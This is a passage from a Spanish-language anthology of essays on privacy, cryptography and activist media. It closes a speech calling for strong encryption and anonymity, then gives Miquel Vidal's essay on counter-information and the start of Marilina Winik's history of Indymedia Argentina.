de hecho cambia. Nuestra sociedad, y nuestras reglas permanentes,
deben asumir que gente mala –incluso criminal– va a manejar el gobier-
no, al menos parte del tiempo.

Aquí se habló mucho de privacidad… pero no nos hemos detenido
tanto en por qué la queremos. La privacidad es un medio, ¿cuál es el
verdadero fin que estamos buscando? Yo propongo que lo que busca-
mos es más tolerancia.

La sociedad tolera todos los distintos tipos de comportamiento
–diferencias religiosas, diferencias de opiniones políticas, de raza, etc.
Pero si tus diferencias no son aceptadas por el gobierno o por otras par-
tes de la sociedad, todavía podés ser tolerado si simplemente ignoran
que sos diferente. Un gobierno represivo o una persona represiva no
pueden perseguirte si te ves igual que los demás. Como dijo George
Perry hoy, “La diversidad es la ventaja comparativa de la sociedad ame-
ricana”. Pienso que eso es lo que está protegiendo realmente la privaci-
dad. 

La conferencia dedicó mucho tiempo a hablar sobre modos de con-
trolar los usos de la información y de proteger la privacidad de las per-
sonas luego de que la información es recogida. Pero eso funciona sólo si
se presupone un buen gobierno. Si surge un gobierno muy malo, van a
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tener toda la información que necesiten para generar un eficiente esta-
do policial y constituirse como último gobierno. Sería más que conve-
niente para ellos –de hecho, es una tentación para la gente que quiera
intentarlo. Porque les estamos dando los medios.

¿Qué pasa si podemos construir una sociedad donde la información
nunca se recoge?, ¿en la que podrías pagar para alquilar un video sin
dejar un número de tarjeta de crédito o de cuenta de banco?, ¿en la que
podrías demostrar que tienes permiso para conducir sin ni siquiera dar
tu nombre? ¿en la que podrías enviar y recibir mensajes sin revelar tu
emplazamiento físico, como una caja de correo electrónica?

Ese es el tipo de sociedad que quiero construir. Quiero asegurar
–con física y matemática, no con leyes– que podamos darnos a nosotros
mismos cosas como una verdadera privacidad para las comunicaciones
personales. Una encriptación lo suficientemente sólida que incluso la
NSA3 no pueda romperla. Sabemos cómo hacerlo. Pero no lo ponemos
en práctica. También necesitamos mejores protocolos para que las
comunicaciones móviles no puedan rastrearse.

También queremos privacidad real para los datos de las computa-
doras. Nuestras computadoras son extensiones de nuestras mentes.
Debemos construirlas de manera que un pensamiento escrito en una
computadora sea tan privado como el mismo pensamiento guardado en
nuestras cabezas.

Debemos tener verdadera libertad de comercio. Debemos poder
vender lo que hacemos y comprar lo que queremos –de y a cualquiera–
para poder mantenernos y poder conseguir las cosas que queremos con-
seguir en este mundo.

Es importante que tengamos verdadera privacidad financiera por-
que los bienes y la información cuestan dinero. Cuando compras o ven-
des o te comunicas, va a haber dinero cambiando de manos. Si pueden
rastrear el dinero, pueden rastrear el intercambio y la comunicación, y
perdemos la privacidad en torno a él.

También necesitamos verdadero control de la identificación.
Necesitamos la posibilidad de mantenernos anónimos mientras ejerce-
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3. National Security Agency, Agencia de Seguridad Nacional. Organismo estatal de
EE.UU. encargado de la control y coordinación de la seguridad. Más importante y
de mayor jerarquía que la CIA. (N. del E.)



mos todos estos derechos. De modo que incluso con nuestras fotos,
nuestras huellas dactilares y nuestro perfil de ADN, no puedan vincu-
lar nuestra comunicación, compras y actividad financiera con nuestra
persona.

Ahora bien, acá no estoy hablando de no dar cuenta de las acciones,
para nada. Debemos poder dar cuenta de lo que hacemos a las personas
con las que nos comunicamos. Debemos poder dar cuenta de nosotros a
la gente con la que comerciamos. Y la tecnología debe construirse para
permitir eso. Pero no debemos estar exhibiéndonos automáticamente al
PÚBLICO con el que hablamos, o al que compramos o vendemos. 

Aquí surgen muchos problemas. Creo que tenemos que trabajar en
ellos. Se deben diseñar leyes justas para esa sociedad. Las personas
deben poder encontrarse con otras personas afines. Y alguien tiene que
pagar el costo del gobierno, incluso aunque no puedan espiar nuestros
ingresos y compras. No sé cómo resolver estos problemas, pero no pien-
so tirar al bebé con el agua sucia. Sigo pensando que debemos apuntar
a una auténtica privacidad y buscar soluciones para estos problemas.

Entonces, ¿cómo llegamos desde acá a esta nueva sociedad? Una
manera es dejar de diseñar y promover falsas protecciones, como las
leyes que dicen que no se permite escuchar las llamadas de los teléfonos
celulares. Definitivamente debemos dejar de construir sistemas mani-
fiestamente amenazantes como el sistema de identificación Thai o el sis-
tema CalTrans de rastreo de vehículos.

Otra cosa para hacer es, si ya saben cómo, empezar a diseñar, o
seguir diseñando, protecciones verdaderas para las cosas que fabrican.
Háganlo para el mercado de EE.UU., aún si la NSA sigue prohibiendo
la privacidad con controles para la exportación de criptografía. Es más
costoso diseñar dos versiones, una para nosotros y otra para exportar,
pero vos estás fabricando para tu sociedad y creo que debes fabricar
para el modo en que quieren vivir.

Si no saben cómo diseñar una protección real, cómprenla. Creen un
mercado para los que están diseñándola, y al mismo tiempo protejan su
privacidad poniéndola en uso. Exíjanla de las personas que los proveen,
como las compañías de computadoras y los fabricantes de telefonía
celular.

También hay que trabajar para eliminar las restricciones para la
exportación. Debemos poder importar lo mejor desde cualquier parte y
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debemos poder exportar la privacidad y lo mejor de nuestros productos
al resto del mundo. La NSA actualmente nos tiene de rehenes; los fabri-
cantes de computadoras, por ejemplo, no incorporan seguridad porque
no se les permite exportarla. IBM agregó DES4 a su nueva línea de com-
putadoras, y sólo lo iban a hacer con los modelos dentro de EE.UU.,
pero la NSA los amenazó con demandarlos y limitar incluso sus expor-
taciones comunes. IBM dio marcha atrás y se retiró. No podemos dejar
que esto siga pasando.

También tenemos que educar a todos sobre lo que es posible para
que podamos elegir el tipo de libertad que queremos en vez de asumir
que es inalcanzable.

Por último, tenemos que asegurar que el dinero en efectivo y el ano-
nimato sigan siendo legales. Lo vamos a necesitar como precedentes
para el dinero electrónico y el anonimato criptográfico.

Creo que con estos enfoques vamos a hacer mucho más por nuestra
libertad real, nuestra privacidad real y nuestra seguridad real, que
sacando algunas leyes nuevas o asustando a algunos de los chicos que
andan rompiendo las barreras de seguridad de la red. Podemos crear un
futuro del que estemos orgullosos de habitar y felices de dejar a nues-
tros hijos. Muchas gracias.
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4. DES (Data Encryption Standard, Standard para la Encriptación de Datos). Sistema
de encriptación adoptado como standard por la administración pública de Estados
Unidos. (N. del T.)
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Miquel Vidal (ver página 44)

La siguiente es una ponencia presentada en los IV
Encuentros de Contrainformación del Estado

español, celebrados en abril de 1999 en el centro
social okupado El Laboratorio, en Madrid, que sir-
vieron, entre otras cosas, para la presentación
pública del Proyecto sinDominio. Fue publicado en
papel por la revista madrileña Contrapoder en ese
mismo año.
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“No habrá nunca una puerta. Estás adentro
y el laberinto alcanza el universo

y no tiene ni anverso ni reverso
ni externo muro ni secreto centro.”

Jorge Luis Borges

La extensión del ciberespacio1 ha puesto muy en evidencia los lími-
tes del esquema clásico de la teoría de la información, en la que se esta-
blece un flujo unidireccional entre el emisor y el receptor, a través de un
canal determinado. Este planteamiento asimétrico es bien conocido y se
trata de un elemento recurrente en todos los medios de comunicación
tradicionales: por un lado, el productor de la información; por otro, su
destinatari@. Es cierto que desde hace algún tiempo los medios se
esfuerzan por introducir cierto grado de interactividad (teletienda, pago
por visión, encuestas, intervenciones telefónicas…), pero no son más
que paliativos bastante burdos. La insistencia en que la gente interven-

Contra (la) información: 
comunicación e inteligencia colectiva

Miquel Vidal

1. El ciberespacio es un concepto creado por William Gibson en su extraordinaria
novela de ciencia ficción Neuromante (1984) y que fue inmediatamente adoptado
por los hackers. En un sentido amplio, hace referencia al espacio de comunicación
abierto por la interconexión mundial de los ordenadores y de sus recursos. Esta
definición (de Pierre Lévy) comprende el conjunto de sistemas de comunicación
electrónicos digitales (incluyendo el conjunto de redes hertzianas y telefónicas clá-
sicas). Un par de aclaraciones: las autopistas de la información y el ciberespacio no
son lo mismo: el ciberespacio se sirve de ellas (también del éter o de las líneas telé-
fonicas) pero no se refiere a una tecnología determinada o a Internet únicamente,
sino a un tipo particular de relación entre personas.



ga, opine, se solidarice, etc. no puede ocultar a nadie la ausencia de una
interactividad que no existe en absoluto.

Aunque su intención sea opuesta, el esquema de la contrainforma-
ción no difiere mucho en su expresión material. Sigue habiendo un@s
que producen la información –las agencias y medios contrainformati-
vos– con muy escasos medios y otr@s que la reciben –la peña– con más
buena fe que interés. Parece claro que no por repetir muchas veces ideas
como horizontalidad o no-mediación, la comunicación que promove-
mos pasará automáticamente a ser horizontal o no mediada. Prácticas
de la contrainformación como sacar a la luz informaciones obviadas o
manipuladas por los medios convencionales se basan en la idea de
“veracidad” o, dicho de otro modo, en la búsqueda de una aproxima-
ción máxima entre los “hechos” y el relato que se construye. Esa noción
de que hay una “verdad” que hay que sacar a la luz tiene su apogeo en
contextos totalitarios en el que se censura la información o bien en un
esquema ilustrado de otros tiempos en el que había falta de informa-
ción. No es ese ciertamente nuestro caso, en el cual el problema es más
bien el contrario: flujo excesivo de información que produce ruido, dis-
torsión, redundancia y banalidad, pasando a ser fundamental el cómo
situarnos desde nuestra precariedad de medios en semejante contexto.
Aquí quizá el concepto de visibilidad adquiere toda su potencia, pero en
todo caso no podemos limitarnos a sumarnos a ese griterío ininteligible
pues por muy buena que sea nuestra intención y muy interesantes nues-
tras informaciones no tenemos forma de “hablar más alto” que los
medios convencionales y que se nos oiga en medio del ruido. La buena
voluntad no es suficiente. Tampoco el uso de un medio u otro garantiza
automáticamente una comunicación antagonista. 

¿Hay pues posibilidad de comunicación alternativa, más allá de
contribuir al ruido mediático? Una posible línea de fuga sería ver si
podemos convertir la comunicación en algo capaz de producir formas
de vida y de socialidad refractarias al mercado y al mando. Y en ese con-
texto, el mensaje es lo de menos. Aquí, el proceso comunicativo es lo impor-
tante, pero no cualquier proceso comunicativo sino el que producimos
en una apuesta colectiva de lucha contra el poder (los poderes).
Comunicación en proceso como creación de nuevos espacios de liber-
tad, con singularidades que desbordan la disyuntiva individuo/colecti-
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vo y que son fruto de la libre circulación de saberes y experiencias diver-
sas.

Pero el caso es que el esquema de la contrainformación se sigue cen-
trando en el mensaje, en la información misma, o bien en el emisor y su
papel (contra)informativo. Por ejemplo cuando decimos que queremos
“dar voz a l@s sin voz” y cosas por el estilo. Con esto, conseguimos –en
el mejor de los casos– multiplicar y diversificar el número de mensajes
en la red, pero no por esto se está necesariamente contrainformando. No
quiero decir con esto que hacer notas de prensa o ejercer de altavoz de
aquello silenciado desde otros ámbitos sea inútil o contraproducente. Es
más, hay muchos casos en que información veraz es sinónimo de con-
trainformación. A lo que voy es que debemos tratar de ir más allá de ese
esquema y para ello resulta imprescindible reequilibrar los elementos
discursivos unidireccionales (frases, imágenes, informaciones, páginas
web…) con lo que se puede denominar elementos existenciales de la
comunicación, esto es, los elementos éticos y políticos multidirecciona-
les. ¿Qué ética, qué política? Una ética fundada en la horizontalidad de
las relaciones entre los individuos, en la cooperación y la puesta en
común de saberes y experiencias y en la posibilidad de todo el mundo de
poder emitir para todo el mundo; una política de la no dominación, de la no
dependencia, de la autonomía de los individuos y de los grupos socia-
les. Para ello hay que renunciar definitivamente al esquema del huma-
no alienado por el Estado o adormecido por los media y que debe ser
contrainformado; la información ya está ahí, de todos los signos posibles,
al alcance de tod@s: lo que propongo en cambio es apostar por comuni-
car la comunicación, por la inteligencia colectiva, y por su espacio natural,
el ciberespacio.

Y es que mientras hemos estado discutiendo sobre si las nuevas tec-
nologías son liberadoras o son un instrumento más al servicio del poder,
ya se nos está imponiendo una manera de hacer y la dinámica social nos
ha sobrepasado y ya está indagando desde hace tiempo en sus atracti-
vos, también en sus límites y peligros. Cuando estas tecnologías empie-
zan a estar arraigadas socialmente, cuando empezamos a vislumbrar la
posibilidad de su uso antagonista, igual ya es demasiado tarde, ya están
emergiendo otras tecnologías en la frontera nebulosa donde se inventan
las ideas, las cosas y las prácticas. Y no son empresas ni Estados sino
grupos indeterminados de individuos que se mueven con criterios que
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me atrevo a calificar de marginales y con los que tenemos mucho que
ver (aunque nunca les veamos ;-). Por ejemplo, ningún Estado, ninguna
empresa, había previsto ni anunciado el desarrollo de la informática
personal, ni el de las interfaces gráficas interactivas para tod@s, ni el de
las BBS o el apoyo mutuo de las comunidades virtuales, ni de los hiper-
textos, ni de la Web, ni de los programas de criptografía personal e
inviolable, ni de GNU/Linux.2 Estas tecnologías, todas ellas empapadas
de sus primeros usos y de los proyectos de quienes las concibieron, naci-
das de mentes visionarias, transportadas por el trasiego de movimien-
tos sociales y de prácticas de base y cooperativas, han llegado donde
ningún tecnócrata podía siquiera sospechar, pero parece que tampoco lo
esperaban los medios de comunicación, incluyendo aquí a los colectivos
de contrainformación.

Los medios de comunicación tradicionales fabrican un público
homogéneo, el mensaje mediático busca el “común denominador” men-
tal de sus destinatarios, pues el mismo mensaje debe ser leído, escucha-
do o visto por mucha gente. No tiene pues en cuenta la singularidad del
receptor, sus opiniones sociales, su microcultura, su estado de ánimo o
su situación particular: es la masa, la audiencia, el público, también la
“peña”. Aunque parezca increíble, en cierto sentido el ciberespacio nos
retrotrae a la situación comunicativa que había antes de la escritura –a
otra escala, obviamente– en la medida que la interconexión y el dina-
mismo en tiempo real de las memorias en línea hace que nuevamente se
comparta un contexto comunicativo común, imperfecto, inacabado pero
en evolución constante, lleno de vida que incluye a las personas y donde
nada hay ya extemporáneo o “fuera de contexto”.

La extensión del ciberespacio ha hecho saltar muchos dogmas acer-
ca de la organización de los grupos humanos, y ha dado pie a que se
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2. No hay duda de que la mayoría de estos hallazgos van siendo recuperados y uti-
lizados por la industria. Pero hay que reconocer que la industria también ha reali-
zado, de alguna manera, los objetivos de toda esa gente que ha ido creando herra-
mientas y promoviendo usos políticos antagonistas. Hay que subrayar una vez más
que la informática personal y el mismo Internet no han sido decididos –y menos
aún previstos– por ningún Estado ni por ninguna transnacional. Su inventor y
principal motor fue un movimiento social que se quiso reapropiar, en beneficio de
las personas (“computers for the people” decían los hackers californianos de media-
dos de los setenta), de una potencia técnica hasta entonces monopolizada por
grandes instituciones burocráticas tanto públicas como privadas.



establezcan relaciones entre los individuos y los colectivos radicalmen-
te nuevas, sin precedentes en la historia ni en la biología. El ciberespa-
cio no es otra cosa que el soporte técnico indispensable para dar pie a la
inteligencia colectiva. El movimiento social que se desarrolla en el
ciberespacio –las comunidades virtuales–, cada vez más masivo y
potente, prefigura y actualiza muchas de las cosas de las que teorizamos
en los ámbitos antagonistas como un ideario de futuro. La activación de
modos de cooperación flexibles, transversales y no mercantiles y la dis-
tribución coordinada de los centros de decisión están creando formas
comunitarias, emancipadoras, socializadoras y horizontales. En efecto,
el movimiento social que se mueve en el ciberespacio carece de progra-
ma político, pero la autonomía, la apertura a la diferencia, el espacio sin
fronteras (la universalidad) y la libre circulación del saber –la oposición
radical al copyright y a la propiedad intelectual– son sus valores consti-
tuyentes. Sin centros ni líneas directrices, sin contenido particular, acep-
ta todos los contenidos ya que se limita a poner en contacto –comuni-
car– un punto cualquiera con otro, sea cual sea la carga semántica o polí-
tica de cada uno de ellos. Y sería trágico caer en el error de creer que no
hay que preocuparse demasiado de lo que sucede en el ciberespacio,
porque es virtual y no tiene consecuencias en el mundo “real”: está
transformando ya, y lo va a hacer mucho más en el futuro inmediato, las
condiciones materiales y subjetivas de vida en sociedad.

Queda para otra ocasión reevaluar desde una perspectiva antago-
nista algunas de las implicaciones políticas del volcado de los medios de
comunicación tradicionales –el teléfono, la televisión, la radio, el fax, los
periódicos, los libros…– en el ciberespacio. Aunque conviene aclarar
que no creo que resulte posible prever las mutaciones con que la digita-
lización –y por tanto la posibilidad de tratamiento numérico con orde-
nadores– modificará nuestras formas de comunicarnos después del año
2000, sí que se hace necesario anticiparse de alguna manera a sus efec-
tos, indagar en esos usos antes de que sean definitivamente recuperados
por el mando.
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Indymedia es la red de comunicación antagónica más desarrollada
a nivel global. Emergente de una nueva realidad histórica, social y eco-
nómica, es el resultado de una manera novedosa para la articulación
entre activistas de múltiples movimientos sociales y nuevas tecnologías.
Políticamente, esta articulación implica la apropiación del espacio que
posibilitó la expansión capitalista, para la lucha contra ese mismo siste-
ma de prácticas y discursos. Desde el punto de vista histórico, es en la
cumbre de la OMC en Seattle de 1999 (en su fracaso) donde Indymedia
deja de ser un mero centro de contrainformación para comenzar un pro-
ceso de crecimiento tal que hoy la convierte en la “red de redes” más
grande del mundo. Esto es así porque pudo capitalizar la heterogenei-
dad sin desvirtuarla.

Dentro de este contexto, Indymedia Argentina surgió a partir de las
movilizaciones contra el ALCA en abril de 2001. Compartiendo los prin-
cipios de unidad de la red global, la realidad latinoamericana le impri-
me una impronta distinta. No sólo crea redes y nodos de red, sino que
sus discursos y prácticas se vinculan muy estrechamente con la multi-
plicidad de los movimientos sociales argentinos: es vehículo de difusión
pero también herramienta de articulación.

1) Contexto de surgimiento: los ’90 y el movimiento
antiglobalización

La cumbre de la Organización Mundial de Comercio (OMC) que se
celebraría en Seattle (EE.UU.), había sido preparada minuciosamente
por los principales centros de poder político (los Estados Unidos, la
Unión Europea, Japón y Canadá) en íntima relación con el poder eco-
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Nuevos medios para hacer medios: el caso
Indymedia

Marilina Winik



nómico-financiero transnacional. Pero la cumbre fracasó: los hombres
representantes de las elites más poderosas del mundo nunca llegaron a
reunirse. En paralelo a los preparativos de la OMC, diferentes redes y
grupos de todo el mundo (llamados antiglobalización) articularon
diversas acciones de protesta. El 30 de noviembre de 1999 se convirtió
en el símbolo de su primera victoria. 

Más de 50.000 personas se movilizaron hasta Seattle, más de 1.500
organizaciones a escala planetaria ayudaron a fomentar la organización,
hubo protestas en 70 ciudades de 30 países del norte y del sur, del este
y del oeste. Una multiplicidad de subjetividades se articuló en un acon-
tecimiento que impugnaba nodalmente al capital en la voz: “el mundo no
es una mercancía”.

¿Cuál fue la condición de posibilidad de esta extraña convergencia?
¿Cómo explicar que fuera políticamente efectiva? La respuesta gira alre-
dedor de un modelo de articulación hasta entonces desconocido: las
acciones de protesta se habían estructurado alrededor de un medio rápi-
do y económico, Internet.

El Movimiento de Resistencia Global o Antiglobalización –así lo
denominaron los medios masivos– comenzó como una corriente de pro-
testa mundial que aunaba a decenas de grupos de diferentes países que
tenían en común su rechazo al capitalismo y al modelo neoliberal. Un
movimiento en el que se dieron (y dan) cita colectivos diferentes: sindi-
catos, intelectuales de izquierda, ecologistas, indigenistas, activistas de
género y grupos desfavorecidos que acusaban (y acusan) al sistema eco-
nómico de amoral e injusto.

2) Breve historia de Indymedia

Indymedia nace como un proyecto situacional, para organizar la
contrainformación durante la cumbre de OMC. Indymedia (como la
pata comunicacional del movimiento antiglobalización) pudo capitali-
zar la unión de un amplio sector de colectivos y redes preexistentes en
el marco de un entramado de comunicación alternativa y antagónica. El
sitio (originalmente pensado para empezar y terminar en la cumbre)
recibió más de un millón y medio de visitas y esto provocó la necesidad
de conformar una red de comunicación antiglobalización que se multi-
plicó en más de 150 sitios a lo largo de todo el mundo.
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2.1) El activismo internacional en los ’80 y ’90

Durante los años ‘80 y ‘90 se organizaron innumerables experien-
cias de éxodo y de construcción de “mundos autónomos”: los centros
sociales italianos, la netculture del norte de Europa, el zapatismo en
Chiapas, la cultura hip hop, las comunidades de sem terra brasileñas, las
experiencias psicotrópicas individuales y colectivas, las editoriales
underground, las revistas militantes, las radios libres. 

Todo ello permitió a la inteligencia autónoma reproducirse y resis-
tir durante los últimos veinte años, pensando en diferentes maneras de
resistencia, creando nuevas formas de organización radical que no res-
pondiesen a modelos quebrados por la historia más reciente, siendo lo
menos funcionales al sistema. 

Pero por sobre todas las realidades regionales o de afinidad, los
medios de contrainformación fueron la respuesta a las necesidades con-
cretas de colectivos y movimientos sociales, para los cuales era impres-
cindible dar a conocer sus experiencias para continuar siendo colectivos
o movimientos. Es decir, dar visibilidad y enunciabilidad a todo aque-
llo que los mass media distorsionaban, ocultaban, manipulaban o sim-
plemente ignoraban. La tarea entonces de estos medios fue (y sigue
siendo) romper el cerco de la información recortada, ideologizada y
pasiva.

2.2) Indymedia Global: registros y códigos de diferencia e igualdad

Desde su momento fundacional en 1999, la posibilidad de hacer
medios se convirtió en equivalente a hacer sociedad para el activismo glo-
bal. Era imposible seguir pensando en el activismo político sin crear
medios, o mejor dicho, sin desarrollar una red en la que confluyan estos
nuevos medios. Indymedia o Centro de Medios Independientes (CMI) fue
entonces un punto convergencia para quienes decidieron construir una
red desde la diversidad de movimientos: comunidades de video acti-
vistas, pequeñas radios piratas, hackers, desarrolladores de códigos,
productores de fanzines, periodistas, etc.

La heterogeneidad implica complejidad. En Indymedia coexistían
colectivos con largas tradiciones de lucha, con experiencias autónomas
y muchas veces fragmentadas. Pero había un punto de coincidencia que
continúa explicando su duración en el tiempo: el mediactivismo, sim-
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plificado a su vez como fenómeno mediático, irrumpe con la coyuntura
Internet-Seattle. Convergencia de la información autorganizada en red
y florecimiento de la red global.1 Según el italiano Franco “Bifo”
Berardi, el activismo mediático, además, constituye una esfera pública
autónoma, un espacio de sustracción al de la invasión mediática.2

2.3) Los Principios de Unidad (la diferencia y la igualdad)

Construye tus medios es una de las consignas de Indymedia global. Y
desde allí se explica que la red sea hoy una de las mayores comunida-
des anticapitalistas del mundo. Es así porque, desde sus principios,
surge no sólo la posibilidad de informar (contra-informar) rompiendo la
tradicional lógica emisor/ receptor (en tanto no existe una autoridad que
determine quién publica ni quién lee y, además, sus formatos son múl-
tiples), sino que también de esta manera alienta a la participación de
todos.

La organización interna de los distintos colectivos y de la propia red
global es horizontal: las decisiones se toman por consenso y en lugar de
verticalidad, las responsabilidades se distribuyen según las tareas que cada
activista decide realizar. 

Políticamente, Indymedia se reconoce anticapitalista y antipatriar-
cal. En Indymedia todo trabajo realizado es voluntario y militante.

Frente a la unidireccionalidad de los medios masivos –concentra-
dos en oligopolios, hábiles tergiversadores de los hechos y naturaliza-
dores por antonomasia de la explotación–, Indymedia se propone como
herramienta de participación que hagan del receptor, no un espectador
pasivo, sino un multiplicador de conciencia y de visiones de la realidad
que cuestionen de raíz el sistema vigente. Por eso no se entiende a la infor-
mación como mercancía sino como una manera de articular la lucha. 
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3) Indymedia Argentina

La experiencia Indymedia en Argentina no tiene antecedentes. La
posibilidad de democratizar radicalmente un medio de comunicación y
ponerlo al alcance de todos, trabajando desde la consigna “cada persona
es un corresponsal” fue, sin duda, el inicio de una nueva era en términos
de comunicación, información y posibilidad de cambio que ofrecía la
tecnología.

3.1) La paradoja en la propia génesis

Sin la trayectoria europea de la net culture y sin el movimiento anti-
globalización, Indymedia Argentina no hubiese existido. Desde sus ini-
cios en abril de 2001, este colectivo se propuso construir una comunica-
ción amplia, democrática, de base. O, en otras palabras, aportar a la
lucha de miles y miles por forjar una nueva cultura, tanto política como
comunicacional. 

Pero, en su misma génesis se produjo una paradoja: las condiciones
de posibilidad de Indymedia Argentina (el contexto internacional
anglo-europeo) nada tenían que ver con las realidades locales. Los acto-
res sociales y políticos, así como los efectos del capitalismo son diferen-
tes. Las estrategias de lucha definen sus prioridades de acuerdo a los
conflictos. Y aquí los conflictos son otros. Obviamente, “el capital” suele
ser la voz bajo la cual la lucha se define, por lo menos en niveles teóri-
cos. Pero de cara a las realidades de los barrios del conurbano, la lucha
ecologista, el copyleft y el software libre hacían ruido en el cuerpo de los
activistas argentinos. 

Paradoja entre medios disponibles y registros discursivos (es decir,
de prácticas sobre –y en– las cuales el registro discursivo se construye).
Activistas ecologistas con laptop, activistas piqueteros en el puente
Pueyrredón… ¿qué decían y quiénes eran los que armaban la página
web? ¿Paradoja posmoderna o simple paradoja de la lucha de la clase
media en los países pobres?

Paradoja que no se produjo en el nivel teórico sino en la práctica
política. Y por esta razón, los que armaban la página argentina enten-
dieron que el escenario de esta última sería el lugar de las respuestas. 
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4) La práctica desde el 19 y el 20 de 2001: primera respuesta
a la paradoja

El nacimiento de Indymedia Argentina representa un quiebre muy
fuerte de las interpretaciones primermundistas, por la falta de historia
local en materia de usos de las tecnologías para el cambio. Y justamen-
te por esta razón, se resignifica en el contexto latinoamericano a partir
del 19 y 20 de diciembre de 2001.

La realidad y la manera de abordarla, hizo que desde sus primeros años
de vida pueda ser un lugar de referencialidad muy concreta para nue-
vos actores sociopolíticos. Nuevos en la Argentina y diferentes de los
que dan sus luchas en el contexto anglo-europeo.

Hoy Indymedia se piensa más que nada como “una red de acción”
que contiene el mismo principio: acrecentar la participación e involucrar
cada vez más grupos y colectivos en una multiplicidad de espacios que
se continúan abriendo constantemente. Todos estos escenarios tienen la
común inquietud por experimentar y aportar a diferentes proyectos
(que a su vez se multiplican). 

4.1) Los primeros modos de trabajo: “patear la calle”

La tarea que se había propuesto el colectivo Indymedia Argentina
fue, en un primer momento, la realización de “las coberturas”: salir a las
calles y relatar desde una perspectiva radical cuáles eran las necesida-
des de las organizaciones en dar a conocer sus conflictos, no reflejadas
por la voz de los grandes medios (que juegan siempre de aliados con el
poder de turno). Hacer coberturas implicaba tejer redes entre este nuevo
actor que se proponía intervenir sobre la realidad social, el mediactivis-
ta, y los diferentes movimientos sociales. Esto tuvo un impacto muy
grande en las distintas organizaciones y movimientos ya que los
mediactivistas que estaban en las calles todos los días y cubrían las dife-
rentes manifestaciones comenzaron a tejer esas redes con los distintos
referentes y con las bases de las organizaciones que luego, eran los que
daban credibilidad a las publicaciones del sitio. El estar en la calle cons-
tantemente, dio a Indymedia Argentina la posibilidad de hacerse cono-
cidos y requeridos por los movimientos sociales. “Estos sectores que par-
ticipan en las luchas sociales rápidamente adquieren una postura crítica sobre
los medios de comunicación, especialmente sobre el televisivo, que evita rotun-
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damente mostrar sus acciones, sus movilizaciones y sus propuestas. Así queda
en evidencia para un sector de la sociedad la dictadura mediática en la cual
están inmersos.”3

5) La práctica durante la masacre en el Puente Pueyrredón:
segunda respuesta a la paradoja

Durante 2002 el “dar voz a los que no tienen voz” se transforma
junto con el escenario político argentino. La difusión de los conflictos
entre las organizaciones piqueteras y el estado se constituye en otra
experiencia que reorienta las prácticas.

Relata Tomás, un compañero de Indymedia, sobre lo ocurrido el 26
de junio de 2002: “Cuando asesinaron a los compañeros Dario Santillán
del MTD de Lanús y Maximiliano Kosteki del MTD Guernica en
Avellaneda, el 26 de junio de 2002, los medios frente a la brutal repre-
sión –hasta que la evidencia y la movilización señalaron lo contrario–
hablaron de «enfrentamientos». Prefirieron mostrar los palos, las gome-
ras y las capuchas de los piqueteros, justificando el dispositivo represi-
vo y evitando hablar de las balas de plomo que el gobierno de Duhalde
y de Felipe Solá y el FMI ordenaron que se disparen para acabar con la
protesta social”. 

Indymedia actuó no solo como testigo directo sino que, desde el
sitio, en la portada denunciaba “Asesinos” a los que provocaron la
masacre.

A un mes de lo ocurrido y como primer regreso al Puente
Pueyrredón, Indymedia video realizó el video documental “Piquete
Puente Pueyrredón”. Fue visto por muchísimas personas que formaban
parte de los distintos movimientos, y en él se podía conocer cuáles ha-
bían sido los hechos (mostrados ahora desde una perspectiva militante
–“imágenes desde el otro lado de la barricada”). Se denunciaban, tam-
bién, las estrategias inconsistentes de los grandes medios aliados al
poder político que buscaban, por sobre todo, crear “opinión pública” en
torno a una idea de piqueteros violentos y criminales.
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En esa misma jornada también se confeccionó una muestra de fotos
que incluía fotos de Dario Santillán. “La gente del movimiento se asombra-
ba y tocaba la foto, una larga cola se formaba para verla y no faltaron lágrimas
y los rezos sobre la imagen. Un fenómeno opuesto al de las últimas semanas
donde Darío había sido retratado por los grandes medios como un violento que
había atacado a la policía, o lo mostraban desangrándose, como parte de una
campaña de criminalización de la protesta sobre los movimientos populares”.4

Luego, eran las mismas organizaciones las que llamaban a compa-
ñeros para pedir la presencia de Indymedia en diferentes acciones,
como tomas de terrenos, cortes de ruta, o tan solo para invitarlos a los
barrios y proyectar videos, armar muestras de fotos, talleres de prensa
o audiovisuales, como ocurrió durante el 2003. Ese año concluyó con el
armado de tres foto-montajes realizados en colaboración entre gente de
los barrios e Indymedia, los cuales fueron exhibidos para el primer ani-
versario del asesinato de Darío Santillán y Maximiliano Kosteki en el
Puente Pueyrredón.

5.1) Redefiniciones de los modos de trabajo: “intervenir más”

Indymedia Argentina no se quedó solamente con el formato
Internet. Es bien sabido que en esta parte del hemisferio muy pocas son
las posibilidades de acceder y manejar la herramienta Internet. “En la
Argentina el promedio de población con acceso a Internet (en forma
muy limitada) es de 3 millones de personas, en un país con una pobla-
ción de 37 millones. Es evidente que el acceso a este medio no es masi-
vo.”5 Durante los tres años se trabajó muy fuertemente para sacar
Indymedia de Internet, aunque claramente el sitio continuó siendo un
elemento fundamental de comunicación.

Indymedia se piensa a sí misma como usina y laboratorio de comu-
nicación. La dinámica y los usos de las nuevas tecnologías de comuni-
cación, sobre todo de Internet, hicieron que las discusiones de
Indymedia Argentina pasaran por pensar cuál debía ser la utilidad de
un medio basado en Internet. En Argentina los límites son claros. Surgió
entonces la necesidad de plantear que, para que Indymedia Argentina
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lograra una real inserción en los sectores populares, se debía trabajar
por fuera de la página: organizando, por ejemplo, muestras de videos y
fotos itinerantes, proyecciones en los barrios y en centros sociales y cul-
turales, talleres de Internet, de periodismo y de educación popular. Para
este colectivo siempre fue importante crear y profundizar los lazos con
las bases, porque de lo contrario, correría el riesgo de formar parte de
aquello que denunciaba. 

6) Redefiniciones sobre fin de 2004: las redes

La red, según la conciben y la practican en Europa y Estados Unidos
–países centrales que comenzaron a utilizarla–, surge como respuesta de
una organización fundada por grupos y colectivos que visualizaron la
importancia de los medios alternativos y, correlativamente/paralela-
mente, del rol central de la oligarquía de la información/entretenimien-
to en el capitalismo global. En forma lúcida, el movimiento antiglobali-
zación, dice Dee Dee Halleck, considera a los medios corporativos como
parte integrante del problema. Para estos activistas –continúa–, crear
nuevos modos de comunicación es parte imprescindible de la respuesta
al neoliberalismo.

La red funciona según un modelo de tipo rizomático, es decir que
se van desarrollando en diferentes lugares del globo nodos de iguales
características: no jerárquicos, descentralizados y autónomos. Este
modelo responde a las exigencias de auto-organización del trabajo vir-
tual según un proceso igualitario y difusivo.6

La utopía de la red de Félix Guattari, filósofo francés que se dedicó
en su vejez a pensar las redes, ya advertía en los años ‘80 que los pro-
gresos en la informática tenderían a redes rizomáticas, relaciones bidi-
